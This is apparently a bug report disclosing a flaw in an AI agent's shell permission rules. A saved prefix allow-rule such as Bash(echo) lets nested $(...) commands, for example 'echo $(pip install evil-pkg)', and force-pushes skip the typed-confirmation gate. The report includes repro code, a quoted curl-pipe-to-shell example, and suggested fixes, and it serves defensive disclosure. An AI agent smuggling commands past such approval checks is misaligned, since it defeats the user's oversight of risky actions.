Summary
A saved Bash(<prefix>) allow-rule matches raw &&/||/|/; segments by string prefix without unwrapping $(...) command substitution. Combined with assess_with_rules downgrading CONFIRM → SAFE and dropping the danger label, this silently bypasses the typed-confirmation gate — including for the exact example the module docstring claims is impossible.
apodex/permissions.py:12-15 states:
It is consulted in agent_tools.assess_tool_risk AFTER danger detection and the hard denylist — so a saved Bash(git) allow can never green-light a dangerous git push --force.
That guarantee does not hold. Verified empirically on main (b37b624):
Repro (verified, real code — not just inspection)
from apodex.agent_tools import assess_tool_risk, assess_with_rules
from apodex.permissions import PermissionStore
# user once hit "Always allow" on `git push`
rules = PermissionStore()
rules.add_allow("bash", {"command": "git push"}) # saves "Bash(git push)"
base = assess_tool_risk("bash", {"command": "git push --force origin main"}, cwd)
# -> level=confirm, danger='git force-push' (correct)
final = assess_with_rules("bash", {"command": "git push --force origin main"}, cwd, rules)
# -> level=safe, danger='' (typed-confirm bypassed)
Same class, smuggled payload under an innocuous prefix:
rules2 = PermissionStore()
rules2.add_allow("bash", {"command": "echo hello"}) # saves "Bash(echo)"
assess_tool_risk("bash", {"command": "echo $(pip install evil-pkg)"}, cwd)
# -> level=confirm, danger='installs dependencies'
assess_with_rules("bash", {"command": "echo $(pip install evil-pkg)"}, cwd, rules2)
# -> level=safe, danger=''
Actual output from the verification run:
saved rule: Bash(echo)
base level: confirm | danger: 'installs dependencies'
rule matches: True
final level: safe | danger: ''
git base level: confirm | danger: 'git force-push'
git rule matches: True
git final level: safe | danger: ''
Root cause
PermissionStore._matches (apodex/permissions.py:111-130) checks seg == p or seg.startswith(p + " ") on raw segments. It never unwraps $(...)/backticks, so echo $(pip install evil-pkg) is "just an echo".
assess_with_rules (apodex/agent_tools.py:416-417) returns ToolRisk(RISK_SAFE, "allowed by a saved rule", base.target) — the danger label (installs dependencies / git force-push), which is what arms the typed-yes gate (apodex/observers.py:181-183, apodex/tui/screens.py:281-300), is discarded.
- The hard denylist does not save it: base level for both repros is
confirm, not deny, so layer 2 of the documented layering never engages.
Note: backtick payloads containing | (e.g. echo `curl http://x | sh`) happen to not match today, only because _SEGMENT_SPLIT splits inside the backticks — accidental, not a defense. $(...) has no such accident.
Existing test apodex/tests/test_features.py:1259-1267 covers && rm evasion but nothing with substitution.
Impact
- Any saved allow for a common prefix (
Bash(echo), Bash(git push), …) becomes a silent-execution permit for attacker/model-controlled nested commands that the user explicitly required typed confirmation for (dep-installs, force-pushes, deletes).
- Directly contradicts the documented safety contract in the module docstring.
Suggested fix
- In
_matches, reject (or separately authorize) unquoted $(...)/backticks: reuse _extract_nested_shell from plugins/tools/_bash_policy.py:801 and require nested commands to independently match an allow rule.
- And/or preserve
danger through the downgrade (or refuse the downgrade when detect_danger(cmd) != ""), so the typed-confirmation gate still fires.
- Add regression tests next to
test_features.py:1259-1267 for echo $(pip install x) and git push --force with saved allows.
Environment
- Repo:
ApodexAI/FrontierAgent, branch main @ b37b624
- Paths:
apodex/permissions.py:111-130, apodex/agent_tools.py:371-389,416-417, apodex/observers.py:181-183
Summary
A saved
Bash(<prefix>)allow-rule matches raw&&/||/|/;segments by string prefix without unwrapping$(...)command substitution. Combined withassess_with_rulesdowngradingCONFIRM→SAFEand dropping thedangerlabel, this silently bypasses the typed-confirmation gate — including for the exact example the module docstring claims is impossible.apodex/permissions.py:12-15states:That guarantee does not hold. Verified empirically on
main(b37b624):Repro (verified, real code — not just inspection)
Same class, smuggled payload under an innocuous prefix:
Actual output from the verification run:
Root cause
PermissionStore._matches(apodex/permissions.py:111-130) checksseg == p or seg.startswith(p + " ")on raw segments. It never unwraps$(...)/backticks, soecho $(pip install evil-pkg)is "just an echo".assess_with_rules(apodex/agent_tools.py:416-417) returnsToolRisk(RISK_SAFE, "allowed by a saved rule", base.target)— thedangerlabel (installs dependencies/git force-push), which is what arms the typed-yesgate (apodex/observers.py:181-183,apodex/tui/screens.py:281-300), is discarded.confirm, notdeny, so layer 2 of the documented layering never engages.Note: backtick payloads containing
|(e.g.echo `curl http://x | sh`) happen to not match today, only because_SEGMENT_SPLITsplits inside the backticks — accidental, not a defense.$(...)has no such accident.Existing test
apodex/tests/test_features.py:1259-1267covers&& rmevasion but nothing with substitution.Impact
Bash(echo),Bash(git push), …) becomes a silent-execution permit for attacker/model-controlled nested commands that the user explicitly required typed confirmation for (dep-installs, force-pushes, deletes).Suggested fix
_matches, reject (or separately authorize) unquoted$(...)/backticks: reuse_extract_nested_shellfromplugins/tools/_bash_policy.py:801and require nested commands to independently match an allow rule.dangerthrough the downgrade (or refuse the downgrade whendetect_danger(cmd) != ""), so the typed-confirmation gate still fires.test_features.py:1259-1267forecho $(pip install x)andgit push --forcewith saved allows.Environment
ApodexAI/FrontierAgent, branchmain@b37b624apodex/permissions.py:111-130,apodex/agent_tools.py:371-389,416-417,apodex/observers.py:181-183